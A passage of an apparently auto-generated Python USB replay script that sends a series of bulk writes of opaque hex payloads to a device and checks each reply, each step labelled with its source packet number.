b\"\\x25\\x90\\x3F\\xCF\\x82\\xBE\\x48\\x68\\xFF\\xDD\\x9D\\xBC\\xD7\\x74\\x1B\\x43\"\n b\"\\x59\\xAD\\x53\\x26\\x9B\\xEA\\xCB\\x3F\\x98\\x7D\\xFE\\x97\\x0D\\xE3\\x70\\x20\"\n b\"\\xEB\\x49\\xCE\\x5A\\xD1\\xCF\\x1E\\xB4\\x6A\\x5F\\x4D\\x7B\\xA3\\x01\\xB8\\x47\"\n b\"\\xC6\\x5D\\xD6\\xDD\\xD5\\xC1\\xE3\\x8E\\x45\\x5A\\x1D\\x97\\x80\\xE6\\xD5\\xF1\"\n b\"\\x0E\\x5C\\x00\\xAE\\x88\\xFC\\x9B\\x73\\x0F\\x67\\xCC\\x75\\xAE\\xE2\\xE4\\xB0\"\n b\"\\x95\\xF7\\x5E\\x3A\\xC3\\xA9\\xD3\\xA9\\x32\\x8D\\x3C\\xF3\")\n # Generated from packet 1067/1068\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1067/1068\")\n # Generated from packet 1069/1070\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x42\\xDA\\xC2\\xC4\\x73\\x5E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1E\\x48\\xAA\\x50\\x00\\x1E\\xB8\\xEC\"\n b\"\\xB4\\x86\\x71\\xB2\\xB4\\x53\\x8B\\xBA\\xF3\\x7E\\x9C\\x98\\x8F\\x5B\\x17\\x57\"\n b\"\\x1C\\xC1\\x10\\xCF\\x8F\\x3A\\x81\\x0E\\xE1\\x8D\\xA9\\x25\\xDA\\x89\\x92\\x5F\"\n b\"\\x68\\x86\\xF0\\x0E\\xEA\\x7C\\x3E\\xC4\\x30\\xFA\\xE6\\x8F\\x31\\x8A\\x4A\\x7B\"\n b\"\\x73\\x6C\\x5D\\xFB\\xFF\\x6F\\x2C\\x43\\x4C\\xC7\\xD5\\x9D\\xDE\\x7F\\xFC\\xD4\"\n b\"\\x1F\\x29\\x4C\\xD4\\x6E\\x01\\x06\\xCA\\xB4\\xA2\\x6E\\x5E\\x90\\xE6\\x0A\\xAE\"\n b\"\\xCB\\xF7\\xC2\\x5B\\x4B\\x29\\x8A\\x8E\\xEA\\x32\\xCA\\x06\\x44\\x3A\\xEB\\xDD\"\n b\"\\xB7\\x0D\\x99\\xEF\\xAD\\xDA\\x06\\xD0\\x3D\\x8D\\x6E\\x5D\\x4B\\xF8\\x28\\x4F\"\n b\"\\x76\\x53\\xE6\\x7C\\x2F\\x1A\\xE2\\x7F\\x3F\\xB9\\xA5\\x90\\x45\\x73\\xBC\\x55\"\n b\"\\x9C\\x5D\\x58\\x68\\xC3\\xE5\\x02\\x1E\\xAB\\xF5\\x47\\x89\\x22\\x32\\x12\\x4E\"\n b\"\\xD5\\x6B\\x36\\x3F\\xAF\\x6C\\xFD\\x4F\\x7D\\x64\\xEB\\x79\\x74\\xA0\\x41\\xF8\"\n b\"\\x9C\\x9A\\xDE\\xDC\\x47\\xCA\\xD2\\xD9\\x62\\xF9\\x61\\x8D\\x33\\x80\\x97\\xB5\"\n b\"\\x9B\\x40\\x3F\\x9C\\x7E\\x0A\\x39\\x57\\xF3\\x61\\x4A\\x69\\x91\\xA5\\xC9\\x00\"\n b\"\\xBB\\xCC\\x3E\\xA3\\x3C\\xEC\\x29\\x0D\\x41\\xC7\\x06\\x08\\x54\\xC4\\x52\\xA1\"\n b\"\\x2B\\x10\\x93\\xA5\\xEC\\x06\\x7F\\x43\\x3B\\x29\\xE2\\xE5\\xF0\\xB8\\x1E\\x4B\"\n b\"\\x2B\\x60\\xE8\\x10\\x41\\xF9\\x20\\xE4\\x9F\\x1B\\xB2\\xE6\\x63\\x93\\x5B\\xB6\"\n b\"\\x85\\x82\\x7C\\x5E\\xE6\\x2A\\xA3\\x88\\xE9\\xCC\\x0D\\xF7\")\n # Generated from packet 1071/1072\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1071/1072\")\n # Generated from packet 1073/1074\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x0A\\x19\\x1D\\x6F\\x0E\\x47\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8E\\xE3\\xC5\\x05\\x0E\\x31\\xED\\xFB\"\n b\"\\x69\\x50\\x10\\x3E\\x55\\x50\\x52\\x2B\\x1A\\x97\\x70\\x75\\x60\\x60\\xBE\\xFC\"\n b\"\\x28\\xFF\\xB0\\x55\\x5E\\x2B\\xF2\\xD8\\x65\\x40\\xBB\\x5A\\x01\\xC7\\x40\\xEE\"\n b\"\\x77\\x0E\\x77\\x6E\\xFC\\xC7\\x8A\\x53\\x30\\x29\\xE8\\x96\\xCB\\xA2\\x0B\\xF6\"\n b\"\\x31\\xC5\\x45\\x00\\x14\\x96\\x87\\x9B\\x10\\x58\\xEA\\xBC\\xA7\\x4D\\xB4\\x74\"\n b\"\\xD5\\xEF\\xFF\\x7A\\xAF\\xDD\\x4D\\xC5\\x30\\xD3\\xA8\\x57\\x31\\x3E\\xA8\\xD0\"\n b\"\\x91\\x49\\x1D\\xBE\\xDB\\xEA\\x02\\xFA\\xB6\\x63\\x2A\\x1B\\xD3\\xCC\\xDC\\x95\"\n b\"\\xB0\\x3C\\x87\\x38\\x27\\x9D\\x92\\x3D\\x41\\x00\\x12\\x4A\\xA8\\x3B\\x2D\\xFE\"\n b\"\\x68\\x04\\xE8\\x0E\\x4C\\xAE\\x63\\xC7\\x8B\\xFD\\x74\\x42\\x8C\\x7C\\xD7\\x72\"\n b\"\\x94\\xD2\\x7A\\xC4\\x1B\\x35\\xCF\\x28\\xDD\\x78\\x8C\\xAE\\x83\\xDF\\x4B\\x05\"\n b\"\\xA7\\xFF\\x05\\xD6\\x1E\\xA2\\x4B\\x9D\\x08\\xA0\\x96\\x64\\x1D\\x5B\\xA4\\x66\"\n b\"\\x37\\xE7\\x7D\\x74\\x7D\\x61\\x9B\\x95\\x9E\\xB2\\x0C\\x85\\x08\\x37\\x0E\\x5B\"\n b\"\\x13\\xFC\\x6F\\xF3\\x9E\\xEE\\xC9\\x86\\xBC\\x82\\x6B\\xB0\\xE6\\x06\\x0F\\x64\"\n b\"\\xBC\\x38\\x12\\x30\\x5E\\xBC\\xFD\\x3A\\xED\\xC9\\x49\\x1E\\x19\\xCE\\xCE\\x81\"\n b\"\\x38\\x17\\x93\\xEA\\x15\\x1D\\x89\\xB6\\x96\\x03\\xEF\\x67\\xC5\\x53\\x43\\x87\"\n b\"\\x33\\x5D\\x06\\xD0\\x92\\xA6\\x6E\\x5D\\xF8\\xB6\\xA1\\x4F\\xD9\\x70\\xE6\\x7A\"\n b\"\\x80\\x39\\xE2\\x67\\x90\\x9A\\xB1\\xBD\\xEB\\x50\\xBC\\x55\")\n # Generated from packet 1075/1076\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1075/1076\")\n # Generated from packet 1077/1078\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x73\\x07\\x86\\xC0\\xD9\\x73\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD9\\x8A\\x89\\xAC\\xD8\\x4D\\x45\\x22\"\n b\"\\x32\\x31\\x11\\xE7\\xD6\\xAC\\x4F\\xC3\\x97\\x46\\xB0\\x60\\xC7\\x5A\\x91\\x20\"\n b\"\\x4D\\x96\\x82\\x18\\x6D\\xFA\\xAD\\xAE\\xEA\\x26\\xBD\\x62\\xFF\\xC0\\x2E\\x92\"\n b\"\\xB2\\x9E\\x19\\x8E\\x5B\\xFB\\x7A\\xC1\\x9D\\x60\\xB7\\x17\\x0C\\x27\\x1D\\xBF\"\n b\"\\x5E\\xD2\\x94\\xE9\\xE5\\x5D\\x1B\\x6B\\x8C\\xEA\\x9F\\x6B\\x88\\x33\\x14\\xDA\"\n b\"\\x22\\x52\\x5A\\xCA\\xA6\\x05\\x2E\\x1E\\x5F\\x52\\x7D\\xA2\\xC3\\xE5\\x3E\\xED\"\n b\"\\xC7\\xB8\\x34\\x02\\xBE\\x1F\\xC6\\x5D\\x8B\\x6B\\xF7\\x2E\\xB0\\x42\\x5B\\x94\"\n b\"\\x13\\x98\\x9B\\xD3\\x40\\x21\\x12\\x6F\\x9B\\x6F\\x89\\x92\\x79\\x4A\\xD5\\x52\"\n b\"\\x7C\\xB3\\x6A\\xEB\\x3A\\x21\\xF2\\xA8\\x5D\\x09\\x2E\\xC8\\xBD\\x16\\xB9\\x88\"\n b\"\\x93\\xB5\\x2B\\xA5\\xD5\\x51\\x50\\x82\\xDF\\x04\\x4A\\x6B\\x89\\x93\\x71\\xA9\"\n b\"\\x2D\\x71\\xE0\\x0E\\x35\\xA4\\x96\\x00\\x14\\xDF\\x81\\x78\\x61\\x1B\\x22\\x71\"\n b\"\\x4F\\x3F\\xBD\\x75\\xAA\\x7C\\x63\\x02\\x95\\xEE\\x1F\\xF4\\x3D\\x91\\xA9\\x19\"\n b\"\\x4B\\xCE\\xBF\\x1A\\xB8\\x89\\x75\\xFC\\x50\\x9F\\x74\\xE9\\xF8\\x92\\x2F\\x15\"\n b\"\\xD3\\xCA\\xE2\\x4D\\x33\\xD7\\xC2\\xAF\\x9F\\x37\\x58\\x6E\\xF4\\x12\\x91\\x38\"\n b\"\\xB9\\x58\\x09\\xE9\\xE5\\x92\\xA6\\xB2\\x45\\x6C\\x12\\xF9\\x69\\x22\\xC5\\x49\"\n b\"\\x4D\\x1D\\x7B\\x93\\xA3\\x99\\x2E\\xA9\\x54\\x05\\xE4\\x66\\xB0\\x00\\x76\\x3B\"\n b\"\\x99\\xB0\\x1C\\x91\\x1C\\xAC\\xC5\\xE4\\xB4\\x34\\xD1\\xCA\")\n # Generated from packet 1079/1080\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1079/1080\")\n # Generated from packet 1081/1082\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x4B\\xE1\\x76\\xD6\\x16\\x1F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFC\\x61\\x85\\x3E\\xC0\\xF8\\x64\\xAD\"\n b\"\\x16\\x33\\x7B\\x38\\x03\\x87\\x16\\xF2\\x52\\xA0\\x5B\\x91\\x2F\\x12\\xD4\\x84\"\n b\"\\x4E\\xEE\\x35\\x01\\x18\\xC8\\xB6\\x43\\xED\\xAB\\x65\\x07\\x48\\x00\\x23\\x72\"\n b\"\\x6A\\x9B\\x50\\x36\\xB0\\xF1\\x10\\x83\\xC5\\x82\\xA7\\xFE\\xDA\\xB4\\x58\\xD9\"\n b\"\\xD9\\xB4\\x82\\xCC\\x5C\\xF8\\x20\\xD0\\xA1\\xF9\\x66\\x50\\xD7\\xDB\\x8C\\x28\"\n b\"\\xFA\\xE0\\x67\\x3C\\x5A\\xDC\\x23\\xA3\\xA6\\xBF\\x7C\\xBF\\xE8\\x6D\\xD9\\xD6\"\n b\"\\xEE\\xD0\\x8B\\xE3\\x84\\x63\\x52\\xBB\\x36\\x9C\\x35\\x76\\x73\\xD5\\x2B\\xD8\"\n b\"\\x62\\x39\\x22\\xD0\\xBC\\x22\\x00\\x35\\xFC\\x78\\xE2\\x32\\x45\\x2D\\xF5\\x7A\"\n b\"\\x4F\\xB4\\xD3\\x74\\x1F\\x55\\x40\\x78\\x54\\xA1\\x12\\xC1\\xD0\\x73\\x88\\xC1\"\n b\"\\x97\\x3F\\xD9\\x38\\x83\\x86\\xB2\\x09\\x52\\x17\\x0C\\x63\\xAF\\xDA\\xD9\\xCB\"\n b\"\\xCD\\xF6\\x8E\\x86\\xB2\\xA3\\x7C\\xC5\\x2C\\x3A\\x35\\x1A\\x6D\\xC1\\x35\\xFA\"\n b\"\\xEA\\xD9\\xFB\\x18\\xA1\\xF4\\xB4\\x82\\x1E\\xA8\\x8C\\xEE\\x02\\xC0\\xFF\\x1E\"\n b\"\\x98\\x7A\\xEA\\x86\\x4B\\x17\\xD5\\x3D\\x76\\xAD\\x53\\x07\\x83\\xC2\\x12\\xAD\"\n b\"\\xF6\\x71\\xBA\\x47\\x3C\\xC2\\xE6\\x81\\x58\\x37\\xCD\\x1B\\x50\\xF6\\x8B\\x10\"\n b\"\\x91\\x4F\\xF0\\x51\\xE2\\x5A\\x46\\x34\\x7B\\x8F\\x6C\\xB0\\xB3\\x01\\x4C\\xD4\"\n b\"\\xC2\\x25\\xD5\\x3A\\x90\\xEA\\xA7\\xF0\\xB5\\x59\\x8B\\x16\\x67\\xDF\\xD0\\x54\"\n b\"\\xAC\\x69\\xB3\\xE2\\xD9\\xAA\\xC7\\x32\\x35\\xB8\\xEF\\x67\")\n # Generated from packet 1083/1084\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1083/1084\")\n # Generated from packet 1085/1086\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC7\\x1F\\xCC\\x4E\\x2F\\x18\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x98\\xF9\\x30\\xFC\\xF4\\x96\\xC9\\x01\"\n b\"\\xB5\\xF0\\x13\\x23\\x07\\x7E\\xCF\\xFA\\xFD\\x05\\x9C\\x97\\x8A\\xFD\\xDD\\xB0\"\n b\"\\x27\\x35\\x69\\xB2\\x2A\\xBF\\x5A\\xC7\\x95\\x76\\xA3\\x84\\x16\\xDE\\x69\\xBB\"\n b\"\\x07\\x4E\\x43\\xD1\\x8A\\x6C\\xA0\\x10\\x5E\\x4B\\x19\\xDB\\xF4\\xB1\\x86\\x5C\"\n b\"\\x0D\\xCF\\xE7\\x27\\xE6\\x62\\x80\\xF6\\x0C\\xF5\\xC6\\xE4\\x63\\xA3\\xA3\\x8D\"\n b\"\\x67\\x91\\x97\\xD6\\xBE\\x8A\\x94\\x6F\\xD0\\x79\\x74\\x4A\\x3A\\xDD\\xE4\\xB5\"\n b\"\\x7B\\x79\\x7E\\xCF\\x2C\\x61\\x8F\\x1F\\x71\\xFC\\x8B\\x4E\\xF8\\xF8\\xF3\\x5E\"\n b\"\\x9F\\x3C\\x0E\\x06\\x25\\x75\\xBB\\x97\\x0A\\x51\\xC7\\xB0\\x3A\\xF6\\xC3\\xAC\"\n b\"\\x26\\xAB\\x40\\x8D\\x0A\\x38\\x8C\\xB5\\xB6\\x57\\xB0\\x05\\x9D\\x6E\\xEB\\xE4\"\n b\"\\x70\\x1B\\x89\\x1B\\x4F\\xFA\\x4C\\x51\\x5D\\xEF\\xD8\\x00\\xD0\\xD9\\x22\\x92\"\n b\"\\x1C\\x11\\xEB\\x54\\xA5\\x95\\xFB\\x4F\\xBA\\x81\\xA0\\x97\\xC7\\x51\\xE1\\xE1\"\n b\"\\x4F\\xBD\\x10\\xF8\\x27\\x83\\x2B\\xE0\\x04\\xCF\\x53\\x25\\x67\\xAC\\x79\\xA1\"\n b\"\\x4A\\xFA\\xBC\\x89\\x74\\x24\\xD0\\xF8\\x1C\\xF1\\x92\\x09\\x62\\x95\\x91\\xB4\"\n b\"\\x7C\\x05\\xAD\\xAE\\xDB\\x27\\x65\\x62\\x4A\\x06\\x71\\xE2\\x02\\x6D\\x8F\\x68\"\n b\"\\x0A\\x71\\x84\\x35\\xBF\\xF5\\x61\\x93\\x2D\\xE0\\x78\\xB6\\xA4\\x10\\x84\\x63\"\n b\"\\x2E\\xDB\\x76\\x59\\x62\\x58\\x49\\xF3\\xB3\\xEE\\xAF\\x06\\x5C\\xC4\\xA1\\xB9\"\n b\"\\x85\\x13\\xFB\\x76\\x9B\\x4C\\xF8\\x69\\x29\\x34\\x97\\x3A\")\n # Generated from packet 1087/1088\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1087/1088\")\n # Generated from packet 1089/1090\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE9\\x05\\x93\\x62\\x67\\x4D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB6\\x97\\xBB\\xD6\\x0E\\xDF\\xF0\\xDF\"\n b\"\\xAF\\x4B\\x89\\x99\\x37\\x91\\x75\\x92\\xF5\\x23\\xCA\\xD1\\x59\\xFD\\x5E\\xAC\"\n b\"\\x1E\\xCA\\x8C\\xB1\\x2E\\x80\\x8D\\x52\\xEB\\xD7\\x08\\x74\\x46\\x1F\\xC9\\x49\"\n b\"\\x6B\\xFC\\x98\\x23\\xA3\\x48\\xE4\\x60\\x44\\x1D\\x6F\\xF0\\x07\\x75\\x07\\x1E\"\n b\"\\x16\\x38\\xA6\\x52\\x04\\xB0\\xE6\\x2D\\xB1\\x14\\xA0\\x02\\x7C\\x68\\x84\\x82\"\n b\"\\x2E\\xA0\\x41\\x1C\\x2A\\xFB\\x4B\\xBB\\xEB\\xA1\\xA5\\xEF\\xA4\\x3E\\x75\\xDC\"\n b\"\\x13\\x1B\\xF9\\x13\\x54\\x6A\\xAF\\x98\\x0A\\x91\\xC8\\x19\\x69\\xB8\\xB5\\xB5\"\n b\"\\x4A\\xF4\\xC2\\x4F\\x23\\xC5\\x46\\xA1\\x7C\\x95\\x07\\x81\\xAF\\xF3\\xC9\\x8B\"\n b\"\\x0D\\x05\\x2A\\xFA\\x33\\x51\\xBE\\x30\\xDA\\xF6\\x81\\xF0\\x09\\x70\\x36\\x9B\"\n b\"\\xC5\\xCA\\x28\\x64\\xF0\\x48\\xC8\\xD3\\x13\\xDD\\x16\\x96\\x8E\\x9E\\x98\\x4E\"\n b\"\\x69\\x9A\\x45\\x82\\xCF\\x8D\\x2E\\x50\\x9E\\x2B\\x38\\xE7\\x4F\\x72\\x34\\x92\"\n b\"\\x84\\xA8\\xD3\\xFD\\x13\\x9F\\x7B\\xE4\\x4E\\x8F\\x23\\x80\\x33\\x92\\xC8\\x73\"\n b\"\\x31\\x81\\x9F\\x5F\\x96\\x95\\xE4\\xD2\\x0C\\xC5\\x43\\x9E\\x52\\x33\\xCF\\xE8\"\n b\"\\xF8\\x34\\xDD\\x54\\x1D\\x52\\xFE\\xC5\\xA3\\xD4\\x5A\\xAD\\x58\\xF6\\x71\\x86\"\n b\"\\x96\\x4F\\x61\\xBD\\x0C\\xB5\\x5E\\x43\\xBD\\xF1\\xC4\\x0D\\xA0\\x46\\xC7\\x56\"\n b\"\\xB5\\x06\\x71\\xFD\\x1E\\xE6\\xC2\\x8A\\xBA\\xF2\\x75\\x3F\\xAF\\x45\\x22\\xD9\"\n b\"\\x95\\xB1\\x8D\\x06\\xCD\\xFF\\x1E\\xE2\\x41\\xFA\\x6B\\x94\")\n # Generated from packet 1091/1092\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1091/1092\")\n # Generated from packet 1093/1094\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xFE\\x87\\x18\\x71\\x68\\x59\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x89\\x76\\x32\\x24\\x14\\xD4\\x6D\\xAB\"\n b\"\\x1E\\x38\\xD1\\xDA\\x9C\\xEF\\x20\\x2F\\x2B\\x46\\xCE\\x18\\x43\\xDA\\x15\\xFE\"\n b\"\\x52\\xF7\\xD1\\x7A\\xD7\\xED\\x75\\x53\\xC6\\x47\\xCD\\x60\\x50\\xE1\\x9C\\xF0\"\n b\"\\x31\\xED\\x82\\x7B\\x97\\x62\\xAA\\x96\\x06\\xEE\\x29\\x39\\x36\\xCB\\x4A\\xF7\"\n b\"\\x64\\x6E\\xAA\\xFE\\x74\\x8A\\xB3\\xD9\\x58\\x8A\\x79\\xAC\\x8E\\xE2\\x4E\\x1F\"\n b\"\\xA5\\x0F\\x1C\\x03\\xC1\\xD0\\x6F\\xF3\\x72\\x4F\\x50\\x15\\xA9\\x07\\xB1\\x74\"\n b\"\\x20\\x81\\xDD\\x2C\\x94\\xE3\\xB0\\x6A\\x4E\\x62\\x3E\\xA7\\xAE\\xF1\\x5F\\x9E\"\n b\"\\xD5\\x15\\x57\\x96\\x81\\x56\\x96\\xD5\\x9B\\x9A\\x69\\x16\\xA8\\x26\\xEC\\x84\"\n b\"\\x49\\x5A\\xEA\\xC7\\xCC\\x3B\\x92\\xDA\\xDE\\x79\\xE1\\xEF\\x71\\x41\\xC0\\x47\"\n b\"\\x4F\\x43\\x1B\\x66\\xDD\\x47\\xE9\\xE7\\x47\\xB9\\x58\\x2C\\x65\\xBB\\x2E\\x64\"\n b\"\\x38\\x4D\\x08\\x24\\x77\\xE7\\x9F\\xE4\\xD7\\x42\\x45\\xED\\x11\\xDE\\xD0\\x84\"\n b\"\\x52\\x12\\xF7\\x6D\\xD8\\x18\\xED\\xCF\\x9F\\xC0\\xFD\\xD9\\x09\\x48\\x9D\\x12\"\n b\"\\x6A\\x57\\x41\\x43\\xE0\\xA6\\x2E\\x79\\x2C\\xE7\\xFC\\x6B\\x21\\x4F\\x85\\x95\"\n b\"\\xF6\\x32\\xE0\\xD3\\x99\\x6B\\xB9\\x57\\xDD\\x2B\\xD5\\xF1\\x70\\x85\\x00\\xA2\"\n b\"\\x80\\x61\\x1D\\x03\\x92\\xA6\\xAE\\x95\\x32\\x83\\x99\\xA6\\x89\\x31\\x49\\x57\"\n b\"\\xB9\\xAC\\xC5\\x4C\\x6D\\x11\\x2C\\xB3\\x45\\x93\\x73\\x65\\x45\\xF0\\x0E\\x15\"\n b\"\\x36\\x79\\xA1\\x69\\xA3\\x89\\xB2\\x5C\\x8E\\x04\\x28\\xD2\")\n # Generated from packet 1095/1096\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1095/1096\")\n # Generated from packet 1097/1098\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x48\\xFE\\xCE\\x12\\xD4\\x4A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x45\\x9A\\xDF\\xA8\\xF3\\x0E\\x50\\xDF\"\n b\"\\x4A\\xD1\\x7E\\x23\\xCF\\x1E\\x13\\x9B\\x3A\\xAE\\xE2\\xFE\\x7E\\xDF\\x5C\\xD3\"\n b\"\\xCD\\xEE\\xC4\\xAD\\xD6\\xFF\\xB4\\x1C\\x13\\xA4\\xD2\\x26\\x52\\xCB\\x01\\x73\"\n b\"\\x28\\xED\\x12\\xB8\\x9A\\xB9\\xCC\\x21\\x43\\x1C\\xD3\\x57\\xC1\\xB8\\xCE\\x31\"\n b\"\\xDC\\x5A\\x24\\x55\\xBC\\x9A\\x8B\\xB9\\x8A\\x83\\x5E\\x4D\\x6E\\xE0\\x4F\\xA3\"\n b\"\\xBC\\xDD\\x21\\xCC\\x80\\x76\\x2C\\x57\\xA8\\x12\\xC5\\x16\\xB4\\xC7\\x99\\x3C\"\n b\"\\x82\\xA7\\xA5\\x23\\x77\\x91\\x86\\xAE\\x2D\\x5E\\x3B\\x82\\x85\\xB6\\x23\\xF6\"\n b\"\\xEC\\x20\\x66\\x4B\\x1A\\x80\\x67\\xD1\\xCB\\xD9\\x1C\\xF5\\xB2\\x3B\\xD5\\xBC\"\n b\"\\x67\\x09\\x3C\\x77\\xC1\\xB6\\x74\\xB8\\xD5\\x5B\\x85\\x81\\xA2\\x32\\x2D\\x6B\"\n b\"\\xF0\\x9D\\x0E\\xC8\\xA1\\x16\\xF8\\x28\\x10\\x75\\x9D\\x5F\\x42\\xD9\\x6B\\x56\"\n b\"\\x65\\x8E\\xED\\xEF\\xA8\\x9E\\xA0\\x1D\\x03\\x36\\x90\\x04\\x76\\xAD\\x05\\x5F\"\n b\"\\xB4\\xE3\\x0A\\xD9\\x81\\xD0\\x20\\x3B\\x5E\\x68\\x66\\xAA\\x2E\\xC3\\x18\\xF7\"\n b\"\\x27\\x39\\x16\\x2F\\x6E\\xC7\\x3E\\x31\\xC4\\xE3\\x8B\\xF7\\xD6\\x44\\x41\\xC4\"\n b\"\\x5D\\x96\\xF3\\xDC\\x5E\\x01\\xA7\\x3B\\x26\\xF7\\xF7\\x55\\xDC\\xC8\\xC0\\x57\"\n b\"\\x27\\x5A\\x46\\x89\\xE2\\xD5\\x5F\\x3C\\x05\\xBD\\x99\\xDC\\x42\\xCF\\x2F\\x2E\"\n b\"\\xA0\\x04\\x39\\xC5\\xFF\\x95\\xFF\\xB2\\x63\\x5A\\xAC\\xC8\\x35\\xD1\\xF6\\x38\"\n b\"\\xEC\\xA5\\x1A\\xB3\\x6C\\x71\\x39\\xE3\\xB1\\xB1\\x50\\xD2\")\n # Generated from packet 1099/1100\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1099/1100\")\n # Generated from packet 1101/1102\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x32\\xB8\\xA5\\x57\\xF7\\x2C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC3\\xA3\\x48\\x2C\\xF2\\xA8\\x4B\\xD5\"\n b\"\\x01\\x2A\\x78\\x53\\xC8\\xB4\\x76\\x91\\x14\\x77\\xB6\\xE3\\x2B\\x40\\x6F\\x19\"\n b\"\\x1F\\x31\\x30\\x54\\x61\\x33\\xA2\\x68\\x98\\xF1\\x33\\x47\\xD9\\xBF\\x58\\xD4\"\n b\"\\x56\\x4E\\x8E\\x09\\x57\\x06\\x87\\x0B\\x91\\xA3\\x71\\xE0\\xE6\\x83\\x80\\xDC\"\n b\"\\x83\\xAB\\xB9\\xB0\\xFC\\xA3\\x74\\xB0\\x6E\\x8E\\x07\\x71\\x88\\xC4\\x63\\x29\"\n b\"\\xD8\\x76\\x69\\x77\\xFC\\xB8\\x43\\xCD\\x83\\x6A\\xA5\\x10\\x45\\xC3\\xDC\\xAF\"\n b\"\\x3F\\x0B\\xFB\\x54\\x1E\\xFC\\x4A\\x37\\xEB\\x74\\x0A\\x17\\x9F\\xFB\\xD6\\xE4\"\n b\"\\x7E\\x4F\\xF1\\x1F\\xAB\\xF3\\xF5\\x72\\xC0\\x85\\x54\\x33\\xC6\\xC9\\x9A\\x54\"\n b\"\\x61\\x48\\x5D\\xC7\\x3C\\x24\\xC9\\x5B\\xAE\\xA3\\x35\\x03\\x34\\x76\\x37\\xF3\"\n b\"\\xAB\\x53\\x0A\\xF5\\xAC\\xB0\\xA8\\x8E\\xC0\\xD7\\x1A\\x13\\x73\\x14\\xA7\\xBB\"\n b\"\\xD7\\xF1\\x47\\x3D\\xD9\\x99\\xD4\\xC5\\x8C\\x14\\xED\\x3D\\xF0\\x7B\\xBA\\x49\"\n b\"\\x9E\\xDD\\xF1\\x07\\xE6\\x77\\xE0\\x93\\x14\\x91\\xDF\\xAA\\x0B\\x8B\\x4B\\xA0\"\n b\"\\x37\\x28\\x55\\x3A\\x80\\x28\\x9B\\x15\\x16\\x0D\\x6C\\x76\\x21\\xFC\\x72\\xC7\"\n b\"\\x2C\\x07\\xAC\\x16\\xF1\\x6C\\xCD\\xC4\\x1E\\x60\\x1C\\x71\\x35\\x4B\\xE1\\x5C\"\n b\"\\x38\\xB2\\xCD\\xA6\\x66\\xB8\\x23\\x2B\\x1C\\x93\\xC0\\xF8\\x1B\\xF6\\x92\\x19\"\n b\"\\xB8\\x24\\x53\\xAC\\xDB\\xFB\\x22\\x10\\x27\\x97\\xFA\\xFC\\xA2\\x3A\\xBC\\x61\"\n b\"\\x3C\\xC3\\xB5\\x48\\x39\\xA7\\x52\\x09\\xC8\\x54\\x18\\xAD\")\n # Generated from packet 1103/1104\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1103/1104\")\n # Generated from packet 1105/1106\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x32\\xA8\\x3F\\x8B\\x4A\\x3F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x72\\xE9\\x49\\x57\\xC6\\xD2\\xEF\\x0A\"\n b\"\\xE6\\x19\\x32\\xB0\\x2B\\x69\\x68\\x58\\x47\\xFA\\x2B\\xCA\\x38\\xEE\\x22\\xD0\"\n b\"\\x37\\x3A\\x16\\x1B\\xAF\\xD8\\x37\\xF9\\xB2\\xC8\\xA8\\xD0\\x09\\xCE\\x6B\\xE6\"\n b\"\\x11\\xD1\\xE6\\x7A\\xBF\\xD4\\x2A\\x07\\x4B\\x80\\x23\\xDD\\xEA\\x3B\\xBB\\xA0\"\n b\"\\x30\\x2C\\xEB\\x90\\x48\\xD4\\x73\\xA3\\x66\\x5A\\x1F\\x52\\xBA\\x5D\\x40\\x24\"\n 